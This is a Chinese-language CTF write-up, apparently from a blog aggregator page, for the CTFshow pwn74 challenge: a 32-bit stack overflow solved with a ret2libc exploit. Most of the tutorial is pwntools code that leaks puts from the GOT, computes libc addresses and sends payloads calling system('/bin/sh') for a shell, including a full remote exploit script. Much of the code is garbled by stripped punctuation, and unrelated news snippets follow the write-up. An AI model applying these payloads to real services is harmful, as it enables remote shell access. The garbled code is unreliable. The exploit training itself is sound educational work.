32位栈溢出漏洞利用:CTFshow pwn74题解
1. 题目背景与核心挑战pwn74是CTFshow平台上的一道经典栈溢出题目考察的是32位环境下基于栈溢出的基础漏洞利用技术。这道题目的典型特征是开启了NX保护但未启用栈保护Canary和地址随机化ASLR属于入门级PWN题目中非常具有教学意义的案例。在32位系统中函数调用时参数是通过栈传递的这与64位系统通过寄存器传递前几个参数有本质区别。这种差异直接影响了我们的漏洞利用方式。题目提供的二进制文件通常会有一个明显的栈溢出漏洞点比如使用不安全的gets()或scanf()函数允许我们覆盖返回地址从而控制程序执行流。关键提示32位环境下函数调用时会将参数依次压入栈中而返回地址就保存在这些参数之后。这是理解栈溢出利用的基础。2. 环境准备与初步分析2.1 获取题目文件首先需要从CTFshow平台下载题目提供的二进制文件通常命名为pwn74和对应的libc库文件。使用wget命令下载wget http://example.com/pwn74 wget http://example.com/libc.so.62.2 检查文件属性使用file命令检查二进制文件的基本信息file pwn74预期输出会显示这是一个32位的ELF可执行文件通常是动态链接的dynamically linked并且是not stripped的保留符号表。2.3 检查安全机制使用checksec工具检查二进制文件的安全机制checksec --filepwn74典型输出可能如下Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这个结果显示32位小端架构没有栈保护Canary启用了NX防止在栈上执行代码没有地址随机化PIE disabled3. 静态分析与漏洞定位3.1 使用IDA Pro分析将二进制文件载入IDA Pro进行静态分析。重点关注main函数和任何可疑的函数调用。通常会在main函数中发现类似这样的危险代码char buf[64]; gets(buf); // 明显的栈溢出漏洞点或者char buf[64]; scanf(%s, buf); // 同样存在溢出风险3.2 确定溢出偏移量我们需要计算从缓冲区开始到返回地址的偏移量。在32位系统中缓冲区大小如64字节EBP寄存器的保存值4字节返回地址4字节因此对于64字节的缓冲区偏移量通常是64 4 68字节。可以使用pattern_create和pattern_offset工具精确计算/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100然后在gdb中运行程序输入生成的pattern观察崩溃时EIP的值再用pattern_offset计算精确偏移。4. 漏洞利用开发4.1 构建基本利用框架使用pwntools编写exploit脚本的基本框架from pwn import * context(archi386, oslinux) binary ./pwn74 elf ELF(binary) p process(binary) # 本地测试 # p remote(目标IP, 端口) # 远程攻击 offset 68 # 根据实际情况调整4.2 寻找gadget和有用函数检查二进制中是否有直接可用的函数system_addr elf.plt[system] # 如果有systemplt binsh_addr next(elf.search(b/bin/sh)) # 查找字符串如果没有现成的system和/bin/sh就需要通过ROP或泄漏libc地址来实现。4.3 构建payload基本payload结构payload bA * offset # 填充缓冲区 payload p32(system_addr) # 覆盖返回地址 payload p32(0xdeadbeef) # system的返回地址不重要 payload p32(binsh_addr) # system的参数4.4 处理没有现成gadget的情况如果二进制中没有直接可用的system和/bin/sh就需要泄漏libc地址先泄漏一个函数的got表地址如puts计算libc基址计算system和/bin/sh的真实地址示例代码# 第一次溢出泄漏puts的got表地址 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] payload1 bA * offset payload1 p32(puts_plt) payload1 p32(main_addr) # 返回到main函数再次利用 payload1 p32(puts_got) p.sendline(payload1) leaked_puts u32(p.recv(4))然后计算libc基址和system地址libc ELF(./libc.so.6) # 使用题目提供的libc libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh))最后构造第二次payload获取shellpayload2 bA * offset payload2 p32(system_addr) payload2 p32(0xdeadbeef) # 返回地址不重要 payload2 p32(binsh_addr) p.sendline(payload2) p.interactive() # 获取交互式shell5. 调试技巧与常见问题5.1 使用gdb调试在开发exploit时gdb是不可或缺的工具。可以使用pwntools的gdb功能p process(binary) gdb.attach(p, b *main continue )5.2 处理输入输出问题有时程序会有奇怪的输入输出行为比如输入被截断尝试添加\n或调整发送方式输出混乱使用p.clean()清理缓冲区交互问题使用p.sendlineafter()等待特定提示5.3 应对不同的保护机制虽然pwn74比较简单但了解其他保护机制的绕过也很重要有Canary需要先泄漏canary值有ASLR需要泄漏地址计算基址全保护需要组合多种技术6. 完整利用脚本示例以下是针对pwn74的一个完整利用脚本示例#!/usr/bin/env python3 from pwn import * context(archi386, oslinux) binary ./pwn74 elf ELF(binary) # p process(binary) p remote(目标IP, 端口) offset 68 # 第一段泄漏puts地址 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] payload1 bA * offset payload1 p32(puts_plt) payload1 p32(main_addr) payload1 p32(puts_got) p.sendlineafter(input:, payload1) leaked_puts u32(p.recv(4)) # 计算libc基址和system地址 libc ELF(./libc.so.6) libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) # 第二段获取shell payload2 bA * offset payload2 p32(system_addr) payload2 p32(0xdeadbeef) payload2 p32(binsh_addr) p.sendlineafter(input:, payload2) p.interactive()7. 进阶技巧与扩展学习7.1 ROP链构造当简单的返回地址覆盖不够用时需要构造ROP链rop ROP(elf) rop.call(puts, [elf.got[puts]]) rop.call(main) payload bA * offset payload rop.chain()7.2 堆栈对齐问题在某些系统上调用system时需要确保栈是16字节对齐的payload bA * offset payload p32(pop_ebx_ret) # 对齐gadget payload p32(system_addr) payload p32(0xdeadbeef) payload p32(binsh_addr)7.3 其他有用的工具和技术one_gadget查找libc中直接获取shell的gadgetret2dlresolve当不知道libc版本时的利用技术SROP高级的面向信号的ROP技术8. 学习资源推荐书籍《漏洞利用开发实战》《CTF竞赛权威指南PWN篇》在线资源CTFwiki PWN部分LiveOverflow YouTube频道ROP Emporium挑战练习平台CTFshow PWN题库Pwnable.krPwnable.tw在实际操作中我发现初学者最容易犯的错误是忽略了32位和64位环境的差异。32位系统的栈布局和参数传递方式与64位系统完全不同这直接影响了payload的构造方式。另一个常见问题是低估了输入输出处理的重要性有时候exploit不成功只是因为没处理好换行符或缓冲区刷新问题。

相关新闻

网页消失危机?用这款时光机扩展永久保存你的数字记忆

网页消失危机?用这款时光机扩展永久保存你的数字记忆

网页消失危机?用这款时光机扩展永久保存你的数字记忆 【免费下载链接】wayback-machine-webextension A web browser extension for Chrome, Firefox, Edge, and Safari 14. 项目地址: https://gitcode.com/gh_mirrors/wa/wayback-machine-webextension 你是…

2026/9/3 18:53:34 阅读更多 →
G-Helper深度解析:华硕笔记本轻量级性能控制工具的架构与实现

G-Helper深度解析:华硕笔记本轻量级性能控制工具的架构与实现

G-Helper深度解析:华硕笔记本轻量级性能控制工具的架构与实现 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Zenb…

2026/9/1 7:58:12 阅读更多 →
MacOS Docker配置systemd cgroup驱动问题解决方案

MacOS Docker配置systemd cgroup驱动问题解决方案

1. 问题现象与背景解析最近在MacBook Pro(M1芯片,macOS Ventura 13.5)上配置Docker开发环境时,遇到一个典型问题:当尝试在Docker容器中使用systemd作为cgroup驱动时,持续收到"Failed to connect to bu…

2026/9/1 12:56:28 阅读更多 →

最新新闻

基于PyQt的分位数回归与因果推断桌面应用开发实践

基于PyQt的分位数回归与因果推断桌面应用开发实践

简介:本资源是一套基于Python与PyQt5开发的分位数回归分析系统,面向计量经济学研究者、高校师生及数据分析工程师,解决传统均值回归无法刻画变量间异质性因果关系的问题。系统完整实现分位数Granger因果检验(Sup-Wald统计量&#…

2026/9/3 19:38:02 阅读更多 →
夜间车辆识别数据集构建与YOLOv8模型训练实战指南

夜间车辆识别数据集构建与YOLOv8模型训练实战指南

简介:本资源是专为夜间复杂光照场景设计的目标检测数据集,面向深度学习算法工程师、计算机视觉研究者及自动驾驶相关方向的学习者,解决低照度环境下车辆与交通要素精准识别的训练数据匮乏问题。数据集涵盖car、pedestrian、traffic light等8类…

2026/9/3 19:38:02 阅读更多 →
YOLOv8车流检测落地实践:GUI+多端+工程化全栈方案

YOLOv8车流检测落地实践:GUI+多端+工程化全栈方案

简介:本资源是一套基于YOLOv8构建的多端车流检测系统完整实现,面向计算机视觉初学者、交通智能应用开发者及高校课程设计者,解决实时车辆识别与流量统计场景下的模型部署与交互落地难题。压缩包共396个文件,含150个核心Python源码…

2026/9/3 19:38:02 阅读更多 →
Python+Flask租房数据分析系统:从爬虫到可视化的全链路实战

Python+Flask租房数据分析系统:从爬虫到可视化的全链路实战

简介:本资源是一套面向计算机专业本科生的毕业设计实战项目,基于Python与Flask框架构建租房数据分析系统,聚焦真实业务场景下的Web开发、数据库设计与数据可视化能力训练。压缩包共573个文件,涵盖49个核心Python源码文件&#xff…

2026/9/3 19:38:02 阅读更多 →
MiniMax H3:一镜到底视频生成与参考图一致性实战指南

MiniMax H3:一镜到底视频生成与参考图一致性实战指南

这次我们来看一个和 AI 视频创作关系很大的模型:MiniMax H3。如果你平时刷短视频,大概率看过那种镜头一镜到底、人物和场景始终不穿帮的 AI 短片;如果你自己尝试做过,大概率也经历过角色崩脸、场景突变、镜头一切就换人的问题。Mi…

2026/9/3 19:38:02 阅读更多 →
STM32实现USB复合设备:HID+CDC虚拟串口与模拟键盘共存

STM32实现USB复合设备:HID+CDC虚拟串口与模拟键盘共存

简介:针对STM32F103ZE开发板实现USB复合设备(HIDCDC)的完整Keil工程,基于正点原子硬件平台、STD标准库及官方例程二次开发,适合熟悉STM32基础、希望掌握USB人机交互与虚拟串口同时工作的嵌入式开发者。工程在作者测试中…

2026/9/3 19:37:01 阅读更多 →

日新闻

AI智能体辅助JS逆向:从V8环境搭建到补环境实战

AI智能体辅助JS逆向:从V8环境搭建到补环境实战

先别急着点开,这不是劝退文,而是想讲清楚一件事:用 AI 做逆向值不值得学?如果要用,怎么搭一套“V8 环境 AI 智能体”来提升效率。最近逆向圈、爬虫圈都在聊 AI Agent、AST 工程逆向、JS 逆向这些词,很多新手…

2026/9/3 0:00:29 阅读更多 →
安卓设备通过修改机型信息解锁游戏高帧率:原理、操作与风险指南

安卓设备通过修改机型信息解锁游戏高帧率:原理、操作与风险指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/3 0:00:29 阅读更多 →
ARM版OpenJDK 11安装部署全攻略:下载、配置与避坑指南

ARM版OpenJDK 11安装部署全攻略:下载、配置与避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/3 0:00:29 阅读更多 →

周新闻

备战数据库管理工程师校招:索引、事务、备份恢复核心考点解析

备战数据库管理工程师校招:索引、事务、备份恢复核心考点解析

每年校招季我都会接触不少准备数据库方向笔试的同学,看到最多的状态就是:简历上写着“熟悉 MySQL”“了解索引优化”,一碰到数据库管理工程师的笔试卷,却在索引、事务、锁、备份恢复这些题目上翻车。网易这套 2018 校园招聘数据库…

2026/9/3 4:22:22 阅读更多 →
数字电路时序基石:深入理解建立时间与保持时间

数字电路时序基石:深入理解建立时间与保持时间

1. 这不是“背公式”的事:时间参数到底在约束什么你翻过数字电路教材,一定见过这两个词:建立时间(Setup Time)和保持时间(Hold Time)。它们常被并列写在触发器(Flip-Flop&#xff09…

2026/9/3 4:22:01 阅读更多 →
蓝桥杯国赛超声波测距机:从单片机原理到嵌入式系统实战

蓝桥杯国赛超声波测距机:从单片机原理到嵌入式系统实战

1. 项目缘起:从赛题到超声波测距机的诞生第八届蓝桥杯单片机设计与开发国赛的题目,我至今记忆犹新。它没有直接给出一个花哨的名字,而是用“超声波测距机”这个朴实无华的功能描述,精准地勾勒出了考核的核心。对于当时备赛的我而言…

2026/9/3 4:22:59 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/3 4:17:49 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/3 4:18:56 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/3 4:21:44 阅读更多 →